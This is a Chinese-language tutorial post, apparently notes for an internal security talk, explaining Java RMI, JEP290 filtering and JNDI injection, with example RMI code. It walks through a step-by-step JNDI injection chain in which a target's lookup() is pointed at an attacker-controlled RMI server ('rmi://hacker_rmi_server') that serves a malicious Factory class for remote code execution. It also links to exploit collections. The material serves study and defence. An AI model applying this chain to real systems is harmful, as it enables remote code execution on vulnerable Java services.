java rmi+jndi

java rmi+jndi

fastjson和这篇文章都是公司内容分享,我要分享的内容

java rmi讲解

https://xz.aliyun.com/t/7930#toc-5

基本知识讲解

在Java反序列化漏洞挖掘或利用的时候经常会遇见RMI,本文会讲述什么是RMI、RMI攻击方法、JEP290限制、绕过JEP290限制。

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。

RMI全称是Remote Method Invocation,远程⽅法调⽤。从这个名字就可以看出,他的⽬标和RPC其实是类似的,是让某个Java虚拟机上的对象调⽤另⼀一个Java虚拟机中对象上的方法,只不过RMI是Java独有的一种机制。

名次解释:
JRMP协议。=》Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
rmi=〉远程方法调用

java rmi+jndi_第1张图片

RMI主要分为三部分

  • RMI Registry注册中心
  • RMI Client 客户端
  • RMI Server服务端

RMI Registry就像一个⽹网关,他⾃己是不执行远程方法的,但RMI Server可以在上面注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程方法实际上在RMI Server上调⽤用。

java rmi+jndi_第2张图片

java rmi+jndi_第3张图片

//RMIServer.java

package org.vulhub.RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }
    public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
} 
        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello world";
} } 
    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
    public static void main(String[] args) throws Exception {
	  	new RMIServer().start();
	  }
}

一个RMI Server分为三部分:

  1. ⼀个继承了java.rmi.Remote的接⼝,其中定义我们要远程调用的函数,⽐如这里的hello()
  2. ⼀个实现了此接口的类
  3. ⼀个主类,用来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server 了。

//RMIClient.java

package org.vulhub.Train;
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://192.168.135.142:1099/Hello");
        String ret = hello.hello();
        System.out.println( ret);
    }
} 
怎么进行攻击

思考两个问题

  1. 如果我们能访问RMI Registry服务,如何对其攻击?
  2. 如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地
    址),能不能进行攻击?

原来Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。
java rmi+jndi_第4张图片

不过list和lookup方法可以远程调用。 list方法可以列出目标上所有绑定的对象 :
String[] s = Naming.list(“rmi://192.168.135.142:1099”);

只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具
https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。

Jep290

JEP290是Java为了应对反序列化而设置的一种过滤器,理想状态是让开发者只反序列化其想反序列化的类,这样我们使用类似CC这样的,就会因为无法反序列化Tranformer、HashMap等,从而没法触发漏洞。

从代码中可以发现,这个过滤器设置了白名单,他会判断你要反序列化的类(或者反序列化类的父类)是否在以下列表中(仅用于RmiRegistry):

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

如果不在,则会标记为REJECTED,此时不会反序列化成功,反之则标记为ALLOWED,此时则可以反序列化成功。

JNDI

名词解释:

  • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。

  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。

动态类加载
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。
这个概念比较重要,JNDI注入的利用方法中也借助了动态加载类的思路。

关于JNDI
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

JNDI注入原理
JNDI支持很多服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或者其子类时,会导致远程代码执行,Reference类提供了两个比较重要的属性,className以及codebase url,classname为远程调用引用的类名,那么codebase url决定了在进行rmi远程调用时对象的位置,此外codebase url支持http协议,当远程调用类(通过lookup来寻找)在RMI服务器中的CLASSPATH中不存在时,就会从指定的codebase url来进行类的加载,如果两者都没有,远程调用就会失败。

JNDI RCE漏洞产生的原因就在于当我们在注册RMI服务时,可以指定codebase url,也就是远程要加载类的位置,设置该属性可以让JNDI应用程序在加载时加载我们指定的类( 例如:http://www.iswin.org/xx.class) ,当JNDI应用程序通过lookup(RMI服务的地址)调用指定codebase url上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test");

整个利用流程如下:

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;

  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;

  5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

  6. 攻击者为易受攻击的JNDI的lookup方法提供了绝对的RMI URL

  7. 服务器连接到受攻击者控制的RMI注册表,该注册表将返回恶意JNDI引用

  8. 服务器解码JNDI引用

  9. 服务器从攻击者控制的服务器获取Factory类

  10. 服务器实例化Factory类

  11. 有效载荷得到执行

在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

利用fastjson漏洞做演示:
演示可参考:
https://medium.com/@m01e/java%E5%AE%89%E5%85%A8-jndi%E6%B3%A8%E5%85%A5-ab5134574323

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

GitHub - threedr3am/learnjavabug: Java安全相关的漏洞和技术demo,原生Java、Fastjson、Jackson、Hessian2、XML反序列化漏洞利用和Spring、Dubbo、Shiro、CAS、Tomcat、RMI、Nexus等框架\中间件\功能的exploits以及Java Security Manager绕过、Dubbo-Hessian2安全加固等等实践代码。

你可能感兴趣的:(java,java,安全,rmi,jndi)